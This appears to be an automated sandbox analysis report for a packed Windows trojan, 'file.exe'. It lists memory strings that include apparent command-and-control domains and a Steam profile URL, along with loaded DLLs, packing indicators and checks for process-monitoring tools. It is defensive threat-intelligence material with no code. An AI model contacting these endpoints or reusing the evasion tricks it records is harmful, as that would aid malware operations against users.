Source: file.exe, 00000000.00000002.1972650341.0000000000D35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=hgPi
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptacul
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=jGtzAgjYROne&l=e
Source: file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&amp
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: file.exe, 00000000.00000002.1972650341.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dissapoiznw.store:443/api
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: file.exe, 00000000.00000003.1808609124.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820309604.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1972941186.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site/api
Source: file.exe, 00000000.00000002.1972941186.0000000000D82000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820309604.0000000000D82000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: file.exe, 00000000.00000003.1808609124.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973017733.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820309604.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1972941186.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000D82000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820181604.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: file.exe, 00000000.00000003.1820309604.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1972941186.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiF
Source: file.exe, 00000000.00000002.1972941186.0000000000D82000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820309604.0000000000D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/k
Source: file.exe, 00000000.00000003.1820309604.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1972941186.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/ll
Source: file.exe, 00000000.00000002.1972650341.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/api
Source: file.exe, 00000000.00000002.1972650341.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/apii%
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: file.exe, 00000000.00000003.1808609124.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/N
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000002.1972650341.0000000000D35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973017733.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820181604.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, 00000000.00000002.1972650341.0000000000D35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000002.1972650341.0000000000D35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory
Source: file.exe, 00000000.00000002.1973017733.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820181604.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: file.exe, 00000000.00000002.1972650341.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000002.1973017733.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820181604.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: file.exe, 00000000.00000003.1808609124.0000000000D55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/
Source: file.exe, 00000000.00000003.1808609124.0000000000D55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1972650341.0000000000D53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49732 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00350228	0_2_00350228
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00352030	0_2_00352030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0037E8A0	0_2_0037E8A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038A0D0	0_2_0038A0D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00345160	0_2_00345160
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034E1A0	0_2_0034E1A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00384A40	0_2_00384A40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034A300	0_2_0034A300
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0036C470	0_2_0036C470
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00347CA4	0_2_00347CA4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0035049B	0_2_0035049B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00354487	0_2_00354487
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0036CCD0	0_2_0036CCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0036FD10	0_2_0036FD10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003435B0	0_2_003435B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0035C5F0	0_2_0035C5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034BEB0	0_2_0034BEB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00356EBF	0_2_00356EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034AF10	0_2_0034AF10

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 0035D300 appears 47 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6848 -s 1904

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9995874587458746

Source: classification engine

Classification label: mal100.troj.evad.winEXE@3/5@10/2

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6848

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\20abe521-0f74-4882-867a-cd6e9158e72c

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	ReversingLabs: Detection: 34%
Source: file.exe	Virustotal: Detection: 43%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6848 -s 1904
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6848 -s 1896

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static file information: File size 2952192 > 1048576

Source: file.exe

Static PE information: Raw size of knvbsjee is bigger than: 0x100000 < 0x2a7600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.340000.0.unpack :EW;.rsrc :W;.idata :W;knvbsjee:EW;blpyabbn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;knvbsjee:EW;blpyabbn:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x2dfc87 should be: 0x2dc33e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: knvbsjee
Source: file.exe	Static PE information: section name: blpyabbn
Source: file.exe	Static PE information: section name: .taggant

Source: file.exe

Static PE information: section name: entropy: 7.984995408266034

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
